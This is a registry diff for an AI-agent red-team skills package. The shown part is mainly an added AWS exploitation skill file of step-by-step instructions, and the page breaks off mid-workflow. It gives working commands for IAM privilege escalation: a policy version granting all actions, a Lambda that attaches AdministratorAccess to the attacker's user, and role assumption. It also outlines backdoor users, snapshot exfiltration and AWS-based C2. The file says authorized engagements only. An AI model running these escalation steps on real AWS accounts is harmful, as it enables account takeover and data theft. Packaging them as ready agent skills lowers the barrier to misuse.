rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,865 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-cloud-aws
|
|
3
|
+
description: "AWS Red Team exploitation skill. Covers IAM privilege escalation paths (role assumption, policy exploitation), EC2 instance metadata service (IMDS v1/v2) access for credential theft, S3 bucket misconfiguration exploitation, Lambda function vulnerabilities, secrets in CloudFormation stacks, cross-account attacks, and AWS-specific C2. Tools: Pacu, ScoutSuite, aws-cli, CloudFox."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-cloud-aws — AWS Red Team Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use This Skill
|
|
9
|
+
|
|
10
|
+
This skill covers offensive operations against Amazon Web Services (AWS) infrastructure. It applies when the target scope includes AWS accounts, cloud-hosted workloads, or AWS-integrated on-premises environments. AWS exploitation differs fundamentally from traditional network penetration: the attack surface is API-driven, IAM policies define the blast radius of any credential, and persistence lives in roles and policies rather than binaries.
|
|
11
|
+
|
|
12
|
+
**Use this skill when:**
|
|
13
|
+
- Scope explicitly includes AWS account IDs, S3 buckets, or IAM roles.
|
|
14
|
+
- You have obtained an AWS access key pair (AKID + secret) from any source (SSRF, code repo, instance metadata, leaked .env).
|
|
15
|
+
- The engagement is a cloud security assessment or assumes-breach with initial AWS credentials.
|
|
16
|
+
- You need to demonstrate lateral movement from a cloud workload to internal resources.
|
|
17
|
+
- The objective is to reach sensitive data stored in S3, Secrets Manager, RDS, or DynamoDB.
|
|
18
|
+
|
|
19
|
+
**Do NOT use this skill when:**
|
|
20
|
+
- The scope excludes AWS (check rules of engagement with `rt-rules-of-engagement`).
|
|
21
|
+
- You do not have prior written authorization for the specific AWS account IDs in scope.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 2. Prerequisites and Tool Installation
|
|
26
|
+
|
|
27
|
+
### 2.1 AWS CLI
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
# Linux
|
|
31
|
+
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o awscliv2.zip
|
|
32
|
+
unzip awscliv2.zip && sudo ./aws/install
|
|
33
|
+
|
|
34
|
+
# macOS
|
|
35
|
+
brew install awscli
|
|
36
|
+
|
|
37
|
+
# Windows (PowerShell)
|
|
38
|
+
winget install Amazon.AWSCLI
|
|
39
|
+
# or
|
|
40
|
+
msiexec.exe /i https://awscli.amazonaws.com/AWSCLIV2.msi
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
Verify: `aws --version`
|
|
44
|
+
|
|
45
|
+
Configure a profile for the target credentials:
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
aws configure --profile target
|
|
49
|
+
# Enter: AWS Access Key ID, Secret Access Key, default region (e.g. us-east-1), output format (json)
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### 2.2 Pacu (AWS Exploitation Framework)
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Linux/macOS
|
|
56
|
+
git clone https://github.com/RhinoSecurityLabs/pacu
|
|
57
|
+
cd pacu
|
|
58
|
+
pip3 install -r requirements.txt
|
|
59
|
+
python3 pacu.py
|
|
60
|
+
|
|
61
|
+
# Windows (PowerShell)
|
|
62
|
+
git clone https://github.com/RhinoSecurityLabs/pacu
|
|
63
|
+
cd pacu
|
|
64
|
+
pip install -r requirements.txt
|
|
65
|
+
python pacu.py
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### 2.3 ScoutSuite (Multi-Cloud Auditing)
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
pip3 install scoutsuite
|
|
72
|
+
scout aws --profile target --report-dir ./scoutsuite-report
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### 2.4 CloudFox (Cloud Privilege Escalation Discovery)
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
# Linux/macOS — download binary from GitHub releases
|
|
79
|
+
curl -L https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64.zip -o cloudfox.zip
|
|
80
|
+
unzip cloudfox.zip && chmod +x cloudfox && sudo mv cloudfox /usr/local/bin/
|
|
81
|
+
|
|
82
|
+
# Windows (PowerShell)
|
|
83
|
+
Invoke-WebRequest -Uri "https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-windows-amd64.zip" -OutFile cloudfox.zip
|
|
84
|
+
Expand-Archive cloudfox.zip -DestinationPath .
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
### 2.5 Additional Tools
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
pip3 install boto3 botocore # Python SDK — used in custom scripts
|
|
91
|
+
pip3 install s3scanner # S3 bucket enumeration
|
|
92
|
+
pip3 install trufflehog # Secrets in git/S3
|
|
93
|
+
go install github.com/trufflesecurity/trufflehog/v3@latest
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
### 2.6 Credential Configuration
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
# Set environment variables (preferred for OPSEC — avoids disk writes)
|
|
100
|
+
export AWS_ACCESS_KEY_ID=AKIAxxxxxxxxxxxxxxxx
|
|
101
|
+
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
|
102
|
+
export AWS_DEFAULT_REGION=us-east-1
|
|
103
|
+
|
|
104
|
+
# Windows PowerShell equivalent
|
|
105
|
+
$env:AWS_ACCESS_KEY_ID = "AKIAxxxxxxxxxxxxxxxx"
|
|
106
|
+
$env:AWS_SECRET_ACCESS_KEY = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
|
107
|
+
$env:AWS_DEFAULT_REGION = "us-east-1"
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 3. Skill Levels
|
|
113
|
+
|
|
114
|
+
### BEGINNER
|
|
115
|
+
- Identify who you are and what permissions you hold.
|
|
116
|
+
- Read-only enumeration using aws-cli.
|
|
117
|
+
- Detect public S3 buckets and read their contents.
|
|
118
|
+
- Extract credentials from EC2 IMDS v1.
|
|
119
|
+
|
|
120
|
+
### INTERMEDIATE
|
|
121
|
+
- Enumerate IAM policies and identify escalation paths.
|
|
122
|
+
- Exploit IMDS v1 via SSRF.
|
|
123
|
+
- Exploit misconfigured S3 bucket policies (write/delete).
|
|
124
|
+
- Use Pacu modules for automated privilege escalation.
|
|
125
|
+
- Enumerate Secrets Manager and Parameter Store.
|
|
126
|
+
- Read CloudFormation stack outputs for embedded secrets.
|
|
127
|
+
|
|
128
|
+
### ADVANCED
|
|
129
|
+
- Chain IAM privilege escalation (iam:PassRole → Lambda → admin).
|
|
130
|
+
- Assume roles across accounts (cross-account trust exploitation).
|
|
131
|
+
- Inject payloads into Lambda functions or environment variables.
|
|
132
|
+
- Establish persistence via shadow admin roles, backdoor IAM users.
|
|
133
|
+
- Exfiltrate RDS snapshots, EBS snapshots to attacker-controlled accounts.
|
|
134
|
+
|
|
135
|
+
### EXPERT
|
|
136
|
+
- Build AWS-native C2 using SQS/SNS/S3 as communication channels.
|
|
137
|
+
- Exploit SCPs (Service Control Policies) gaps in AWS Organizations.
|
|
138
|
+
- Compromise AWS SSO / Identity Center for org-wide access.
|
|
139
|
+
- Exploit resource-based policies for cross-account data access without credential sharing.
|
|
140
|
+
- Abuse AWS CloudShell, CodeBuild, or Glue for ephemeral compute.
|
|
141
|
+
- Use VPC endpoint policies as a lateral movement vector.
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## 4. Numbered Step-by-Step Workflow
|
|
146
|
+
|
|
147
|
+
### Phase 1: Initial Reconnaissance (Who Am I?)
|
|
148
|
+
|
|
149
|
+
**Step 1 — Identify the current identity**
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
aws sts get-caller-identity --profile target
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
Output includes: `UserId`, `Account` (12-digit), `Arn`. Note whether this is an IAM user, assumed role, or EC2 instance profile.
|
|
156
|
+
|
|
157
|
+
**Step 2 — Enumerate attached policies**
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# For IAM user
|
|
161
|
+
aws iam list-attached-user-policies --user-name <username> --profile target
|
|
162
|
+
aws iam list-user-policies --user-name <username> --profile target
|
|
163
|
+
|
|
164
|
+
# For IAM role
|
|
165
|
+
aws iam list-attached-role-policies --role-name <rolename> --profile target
|
|
166
|
+
aws iam list-role-policies --role-name <rolename> --profile target
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
**Step 3 — Read inline and managed policy documents**
|
|
170
|
+
|
|
171
|
+
```bash
|
|
172
|
+
# Get managed policy ARN version
|
|
173
|
+
aws iam get-policy --policy-arn <arn> --profile target
|
|
174
|
+
aws iam get-policy-version --policy-arn <arn> --version-id v1 --profile target
|
|
175
|
+
|
|
176
|
+
# Get inline policy
|
|
177
|
+
aws iam get-user-policy --user-name <username> --policy-name <policyname> --profile target
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
**Step 4 — CloudFox full enumeration**
|
|
181
|
+
|
|
182
|
+
```bash
|
|
183
|
+
cloudfox aws --profile target all-checks -o ./cloudfox-output
|
|
184
|
+
# Review: cloudfox-output/cloudfox-target-default/analysis/
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
### Phase 2: IAM Privilege Escalation
|
|
188
|
+
|
|
189
|
+
**Step 5 — Identify escalation paths using Pacu**
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
python3 pacu.py
|
|
193
|
+
# In Pacu shell:
|
|
194
|
+
import_keys target
|
|
195
|
+
run iam__privesc_scan
|
|
196
|
+
# Pacu will list exploitable privilege escalation paths
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
**Step 6 — Manual escalation: iam:CreatePolicyVersion**
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
# If you have iam:CreatePolicyVersion on your own policy, set a new version that grants *
|
|
203
|
+
aws iam create-policy-version \
|
|
204
|
+
--policy-arn arn:aws:iam::<account-id>:policy/<policy-name> \
|
|
205
|
+
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
|
|
206
|
+
--set-as-default \
|
|
207
|
+
--profile target
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
**Step 7 — Manual escalation: iam:PassRole + lambda:CreateFunction**
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# 1. Create a Lambda function that attaches AdministratorAccess to your user
|
|
214
|
+
cat > /tmp/lambda_escalate.py << 'EOF'
|
|
215
|
+
import boto3
|
|
216
|
+
def handler(event, context):
|
|
217
|
+
iam = boto3.client('iam')
|
|
218
|
+
iam.attach_user_policy(
|
|
219
|
+
UserName='<your-username>',
|
|
220
|
+
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
|
221
|
+
)
|
|
222
|
+
return 'Done'
|
|
223
|
+
EOF
|
|
224
|
+
|
|
225
|
+
zip /tmp/lambda_escalate.zip /tmp/lambda_escalate.py
|
|
226
|
+
|
|
227
|
+
# 2. Create the function passing an admin-capable role
|
|
228
|
+
aws lambda create-function \
|
|
229
|
+
--function-name escalate-me \
|
|
230
|
+
--runtime python3.11 \
|
|
231
|
+
--role arn:aws:iam::<account-id>:role/<admin-role> \
|
|
232
|
+
--handler lambda_escalate.handler \
|
|
233
|
+
--zip-file fileb:///tmp/lambda_escalate.zip \
|
|
234
|
+
--profile target
|
|
235
|
+
|
|
236
|
+
# 3. Invoke it
|
|
237
|
+
aws lambda invoke --function-name escalate-me /tmp/output.json --profile target
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
**Step 8 — Assume a higher-privileged role**
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
aws sts assume-role \
|
|
244
|
+
--role-arn arn:aws:iam::<account-id>:role/<target-role> \
|
|
245
|
+
--role-session-name red-team-session \
|
|
246
|
+
--profile target
|
|
247
|
+
|
|
248
|
+
# Export the returned temporary credentials
|
|
249
|
+
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
|
250
|
+
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
|
251
|
+
export AWS_SESSION_TOKEN=<SessionToken>
|
|
252
|
+
|
|
253
|
+
# Windows PowerShell
|
|
254
|
+
$creds = (aws sts assume-role --role-arn arn:aws:iam::<id>:role/<role> --role-session-name rt | ConvertFrom-Json).Credentials
|
|
255
|
+
$env:AWS_ACCESS_KEY_ID = $creds.AccessKeyId
|
|
256
|
+
